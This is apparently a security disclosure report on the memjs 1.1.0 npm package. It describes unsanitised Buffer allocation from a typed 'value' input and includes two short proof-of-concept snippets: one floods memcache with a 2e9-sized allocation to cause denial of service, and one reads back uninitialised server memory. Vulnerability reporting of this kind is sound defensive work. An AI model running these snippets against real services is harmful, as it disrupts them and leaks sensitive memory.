I would like to report a Buffer allocation vulnerability in memjs
.
In cases when the attacker is able to pass typed input (e.g. via JSON) to the storage, it allows to cause DoS (on all Node.js versions) and to store (and potentially later extract) chunks of uninitialized server memory containing sensitive data.
module name: memjs
version:1.1.0npm page: https://www.npmjs.com/package/memjs
> MemJS is a pure Node.js client library for using memcache, in particular, the MemCachier service. It uses the binary protocol and support SASL authentication.
186 downloads in the last day
2 903 downloads in the last week
12 037 downloads in the last month
~144 444 estimated downloads per year (yay, a pretty number)
memjs
passes value
option to the Buffer constructor without proper sanitization, resulting in DoS and uninitialized memory leak in setups where an attacker could submit typed input to the ‘value’ parameter (e.g. JSON).
memcached
should be up and running.
var client = require('memjs').Client.create()
function tick() {
var value = 2e9;
client.set('key', value, {expires: 600 }, () => {});
}
setInterval(tick, 200);
var client = require('memjs').Client.create()
var value = 100;
client.set('key', value, {expires: 600 }, () => {});
client.get('key', (err, val) => console.log(val));
Denial of service
Sensitive data leak (on Node.js < 8.x)